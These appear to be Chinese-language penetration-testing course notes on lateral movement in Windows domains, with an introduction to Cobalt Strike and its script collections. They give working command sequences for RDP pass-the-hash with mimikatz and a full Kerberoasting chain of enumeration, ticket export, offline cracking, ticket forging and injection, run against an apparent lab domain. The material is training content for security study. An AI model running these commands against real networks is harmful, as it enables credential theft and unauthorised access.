思維導圖
本課重點:
- 案例1:域橫向移動RDP傳遞-Mimikatz
- 案例2:域橫向移動SPN服務-探針,請求,導出,破解,重寫
- 案例3:域橫向移動測試流程一把梭哈-CobaltStrike初體驗
案例1-域橫向移動RDP傳遞-Mimikatz
除了上述講到的IPC,WMI,SMB等協議的鏈接外,獲取到的明文密碼或HASH密文也可以通過RDP協議進行鏈接操作。
RDP協議連接:判斷對方遠程桌面服務是否開啟(默認:3389),端口掃描判斷
RDP明文密碼鏈接 windows: mstsc mstsc.exe /console /v:192.168.3.21 /admin linux: rdesktop 192.168.3.21:3389 RDP密文HASH鏈接 windows Server需要開啟 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默認開啟, 同時如果Win 7 和Windows Server 2008 R2安裝了2871997、2973351補丁也支持; 開啟命令: REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f 開啟后運行: mstsc.exe /restrictedadmin mimikatz.exe privilege::debug sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"
案例2-域橫向移動SPN服務-探針,請求,導出,破解,重寫
kerberos中的spn詳解:https://www.cnblogs.com/backlion/p/8082623.html
黑客可以使用有效的域用戶的身份驗證票證(TGT)去請求運行在服務器上的一個或多個目標服務的服務票證。DC在活動目錄中查找SPN,並使用與SPN關聯的服務帳戶加密票證,以便服務能夠驗證用戶是否可以訪問。請求的Kerberos服務票證的加密類型是RC4_HMAC_MD5,這意味着服務帳戶的NTLM密碼哈希用於加密服務票證。黑客將收到的TGS票據離線進行破解,即可得到目標服務帳號的HASH,這個稱之為Kerberoast攻擊。如果我們有一個為域用戶帳戶注冊的任意SPN,那么該用戶帳戶的明文密碼的NTLM哈希值就將用於創建服務票證。這就是Kerberoasting攻擊的關鍵。
SPN掃描
- 當計算機加入域時,主SPN會自動添加到域的計算機賬號的ServicePrincipalName屬性中。在安裝新的服務后,SPN也會被記錄在計算機賬號的相應屬性中。
- SPN掃描也稱為”掃描Kerberos服務實例名稱”。在活動目錄中發現服務的最佳方法就是SPN掃描。SPN掃描通過請求特定SPN類型的服務主體名稱來查找服務。與網絡端口掃描相比,SPN掃描的主要特點是不需要通過連接網絡中的每個IP地址來檢查服務端口(不會因為觸發內網中的IPS、IDS等設備的規則而產生大量的警告日志)。因為SPN查詢是Kerberos票據行為的一部分,所以檢測難度很大。
- 由於SPN掃描是基於LDAP協議向域控制器進行查詢的,所以,攻擊者只需要獲得一個普通的域用戶權限,就可以進行SPN掃描。
- 在域環境中,發現服務的最好辦法就是通過”SPN掃描”。通過請求特定SPN類型服務主體名稱來查找服務。
1探針 setspn -q */* setspn -q */* | findstr "MSSQL" 2請求票據 # 刪除緩存票據 klist purge # powershell請求 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx" # mimikatz請求 mimikatz.exe "kerberos::ask /target:xxxx" # 查看票據 klist 3導出票據 # mimikatz mimikatz.exe "kerberos::list /export" 4破解票據 # 破解工具tgsrepcrack.py python3環境運行 python tgsrepcrack.py passwd.txt xxxx.kirbi python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi 5重寫票據 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512 mimikatz.exe kerberos::ptt xxxx.kirbi # 將生成的票據注入內存 6利用 dir //xxx.xxx.xxx.xxx/c$
kerberoast下載:https://github.com/nidem/kerberoast
環境准備
案例演示
<1>探針
setspn -q */* setspn -q */* | findstr "MSSQL"
探針到這么多服務后,我們完全可以按照相關服務的常規攻擊手段進行攻擊,不一定非要用本案例演示的破解票據手段。
<2>請求票據
klist purge //刪除緩存票據 klist //查看票據 # 請求票據 # powershell請求 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx" # 或者mimikatz請求 mimikatz.exe "kerberos::ask /target:xxxx"
<3>導出票據(到mimikatz運行目錄)
# mimikatz mimikatz.exe "kerberos::list /export"
<4>破解票據
# 破解工具tgsrepcrack.py python3環境運行(將票據拖到本地破解) python tgsrepcrack.py passwd.txt xxxx.kirbi python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi
破解成功,密碼是Admin12345,可以為后續滲透測試做准備。
這種方法得到只是mssql服務賬戶密碼(權限不大),而mssql系統管理員賬戶密碼我們是無法得到的。
<5>重寫票據(屬於后續攻擊,不一定會成功,-u500指的是管理員用戶,-g512指的是管理員組)
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512 mimikatz.exe kerberos::ptt xxxx.kirbi # 將生成的票據注入內存
<6>利用
dir //xxx.xxx.xxx.xxx/c$
案例3-域橫向移動測試流程一把梭哈-CobaltStrike初體驗
CobaltStrike4.0用戶手冊:https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取碼:dtm2
CS神器大概流程:啟動-配置-監聽-執行-上線-提權-信息收集(網絡,憑證,定位等)-滲透
1.關於啟動及配置講解
2.關於提權及插件加載
3.關於信息收集命令講解
4.關於視圖自動化功能講解
CobaltStrike Aggressor 腳本合集(可以自行在GitHub搜索):
https://github.com/harleyQu1nn/AggressorScripts https://github.com/Und3rf10w/Aggressor-scripts https://github.com/001SPARTaN/aggressor_scripts https://github.com/rasta-mouse/Aggressor-Script https://github.com/threatexpress/aggressor-scripts https://github.com/ramen0x3f/AggressorScripts https://github.com/FortyNorthSecurity/AggressorAssessor https://github.com/michalkoczwara/aggressor_scripts_collection https://github.com/ars3n11/Aggressor-Scripts https://github.com/gaudard/scripts/tree/master/red-team/aggressor https://github.com/bluscreenofjeff/AggressorScripts https://github.com/vysecurity/Aggressor-VYSEC https://github.com/killswitch-GUI/CobaltStrike-ToolKit https://github.com/rsmudge/ElevateKit (第三方提權攻擊) https://github.com/QAX-A-Team/CobaltStrike-Toolset https://github.com/DeEpinGh0st/Erebus (Erebus CobaltStrike后滲透測試插件,持續更新) https://github.com/branthale/CobaltStrikeCNA https://github.com/pandasec888/taowu-cobalt-strike(倉庫已關閉)
紅隊實戰演練環境:https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug 提取碼: taqu